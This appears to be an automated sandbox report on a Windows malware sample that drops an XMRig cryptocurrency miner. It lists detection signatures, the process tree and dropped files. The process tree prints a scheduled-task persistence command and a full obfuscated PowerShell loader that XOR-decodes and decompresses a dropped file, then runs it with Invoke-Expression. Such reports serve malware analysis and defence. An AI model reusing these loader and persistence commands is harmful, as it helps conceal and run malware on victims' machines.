Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
06/05/2026, 12:53
General
- Target 2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe
- Size 2.3MB
- Sample260506-p437saft4j
- SHA256 e1a36accd2f2653acb822b8b6718dba8d749ee2d014de309aefdc3f356d2823a
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 11 IoCs
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zbe20265613550498.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exeSchtasks.Exe /delete /tn "Maintenance" /f3⤵
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\schtasks.exeSchtasks.Exe /create /tn "Maintenance" /xml "C:\Users\Admin\AppData\Local\Temp\zx20265613550498.xml"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zb20265613550498.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\chcp.comchcp 12513⤵
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-06_346a7d7d4c3513d69db68d48e572aa2e_elex_nymaim_rhadamanthys_stop.exe"3⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exeC:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exeC:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe .1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\494d534343475a494808609860136042600647211\idle_maintenance.exeC:\Users\Admin\AppData\Local\Temp\494d534343475a494808609860136042600647211\idle_maintenance.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -c "if($host.version.major -lt 3){exit}$d =[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Roaming\Maintenance\mod');$l=$d.Count;$m = New-Object Byte[] $l;[byte[]] $x=177,144,161,209,204,38,103,37;$j=0;for($i=0;$i -lt $l;$i++){$m[$i]=$d[$i] -bxor $x[$j];$j++;if($j -ge 8){$j=0}}$a = New-Object IO.MemoryStream(,$m);$b = New-Object IO.StreamReader(New-Object IO.Compression.DeflateStream($a,[IO.Compression.CompressionMode]::Decompress));$c=$b.ReadToEnd();$b.Close();$a.Close();Invoke-Expression($c)"2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
config.json
idle_maintenance.exe
__PSScriptPolicyTest_tnvgqiri.trh.ps1
zb20265613550498.bat
zbe20265613550498.bat
ze20265613550498.tmp
zx20265613550498.xml
maintenance.exe
mod
memory/744-47-0x0000000006640000-0x000000000665A000-memory.dmp
memory/744-50-0x00000000080D0000-0x0000000008674000-memory.dmp
memory/744-33-0x00000000053A0000-0x0000000005406000-memory.dmp
memory/744-34-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/744-31-0x0000000005410000-0x0000000005A38000-memory.dmp
memory/744-42-0x0000000005BB0000-0x0000000005F04000-memory.dmp
memory/744-43-0x00000000060E0000-0x00000000060FE000-memory.dmp
memory/744-44-0x0000000006120000-0x000000000616C000-memory.dmp
memory/744-30-0x0000000002780000-0x00000000027B6000-memory.dmp
memory/744-53-0x0000000002A80000-0x0000000002A86000-memory.dmp
memory/744-46-0x0000000007A50000-0x00000000080CA000-memory.dmp
memory/744-48-0x00000000073D0000-0x0000000007466000-memory.dmp
memory/744-49-0x0000000006750000-0x0000000006772000-memory.dmp
memory/744-32-0x0000000005100000-0x0000000005122000-memory.dmp
memory/744-55-0x00000000050F0000-0x00000000050FB000-memory.dmp
memory/744-54-0x00000000050A0000-0x00000000050BD000-memory.dmp
memory/4332-27-0x0000000000CE0000-0x0000000000CF4000-memory.dmp
memory/4332-52-0x0000000000CB0000-0x0000000000CE0000-memory.dmp
memory/4332-51-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-57-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-62-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-69-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-72-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-75-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-78-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-81-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-84-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4332-87-0x0000000000400000-0x0000000000AA3000-memory.dmp